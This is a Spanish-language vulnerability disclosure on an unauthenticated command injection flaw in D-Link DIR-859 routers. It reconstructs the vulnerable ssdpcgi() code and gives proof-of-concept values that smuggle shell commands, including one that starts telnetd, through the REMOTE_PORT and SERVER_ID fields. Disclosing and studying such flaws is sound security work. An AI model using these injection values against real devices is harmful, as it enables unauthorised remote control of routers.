D-Link DIR-859 — RCE Unauthenticated (CVE-2019–20216 — CVE-2019–20217) [ES]
--
Investigadores
- Miguel Mendez Z. — (s1kr10s)
- Pablo Pollanco — (secenv)
Detalle Técnico
- Affected models (confirmado): DIR-859 Rev Ax
- Versión de Firmware: 1.06b01 Beta01, 1.05
Análisis de la vulnerabilidad
La vulnerabilidad de ejecución de código remoto se encontró en la función ssdpcgi(), la cual el vendor ya habían creado un parche para reparar la vulnerabilidad. En ese momento el vector de ataque fue HTTP_ST. A continuación daremos una descripción sobre el nuevo hallazgo.
Para empezar reescribimos (pseudocódigo) la función principal, para una mejor comprensión.
int ssdpcgi_main(int argc) {
char *HTTP_ST;
char *REMOTE_ADDR;
char *REMOTE_PORT;
char *SERVER_ID;
if (argc == 2) {
HTTP_ST = getenv("HTTP_ST");
REMOTE_ADDR = getenv("REMOTE_ADDR");
REMOTE_PORT = getenv("REMOTE_PORT");
SERVER_ID = getenv("SERVER_ID");
if ("SI LAS VARIABLE SON" == 0) {
break;
} else {
// PARCHE "strncmp()" ESTO FILTRA LA INYECCIÓN DE CÓDIGO
all = strncmp(HTTP_ST,"ssdp:all",8);
if (all == 0) {
format = "%s ssdpall %s:%s %s &";
} else {
uuid = strncmp(HTTP_ST,"uuid:",5);
if (uuid == 0) {
format = "%s uuid %s:%s %s %s &";
} else {
// MAS VALIDACIONES
...
...
...lxmldbc_system(format,"/etc/scripts/upnp/M-SEARCH.sh",REMOTE_ADDR,REMOTE_PORT);
}
}
Después de analizar esta función vemos que las variables REMOTE_PORT y SERVER_ID son argumentos de lxmldbc_system(), el problema es que los valores utilizados en estas variables son controlables. Puede ver la librería libxmldbc aquí.
/* call system() in printf() format. */
int lxmldbc_system(const char * format, …){
char cmd[MAX_CMD_LEN];
va_list marker;
va_start(marker, format);vsnprintf(cmd, sizeof(cmd), format, marker);
va_end(marker);
return
system(cmd);
}
Como podemos ver, estas variable no están filtrando correctamente, de modo que podemos controlar estos valores o concatenar otros valores a los ya existentes, como por ejemplo; REMOTE_PORT=13;ls y SERVER_ID=1;ls, luego estos valores son almacenados en un buffer mediante vsnprintf(), para formatear el comando final.
Después de retornar, el comando formateado queda almacenado en un buffer apuntado por el registro s0=buffer, el que sera argumento para la función system(s0). También se muestra el dump (memoria) como queda la estructura.
Valor en memoria de REMOTE_PORT.
Reg s0: /etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13; 💉 1 &
Valor en memoria de SERVER_ID.
Reg s0: /etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13 1; 💉 &
Exploit PoC
Antes de proceder con la depuración, ajustamos el valor de cada variable, e incluir la inyección del comando. Al terminar la ejecución vemos que los comandos inyectados fueron ejecutados exitosamente.
IP="127.0.0.1"
PORT="1337"
METHOD=”M-SEARCH"
URI="/"
REMOTE_PORT="13;ls;"
SERVER_ID="1;telnetd"REMOTE_PORT
Reg s0:/etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13;ls; 1&
SERVER_ID
Reg s0:/etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13 1;telnetd &
Versión en Ingles: https://medium.com/@s1kr10s/d-link-dir-859-rce-unauthenticated-cve-2019-20216-cve-2019-20217-en-6bca043500ae
Enlace al aviso: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147
By3… 👾










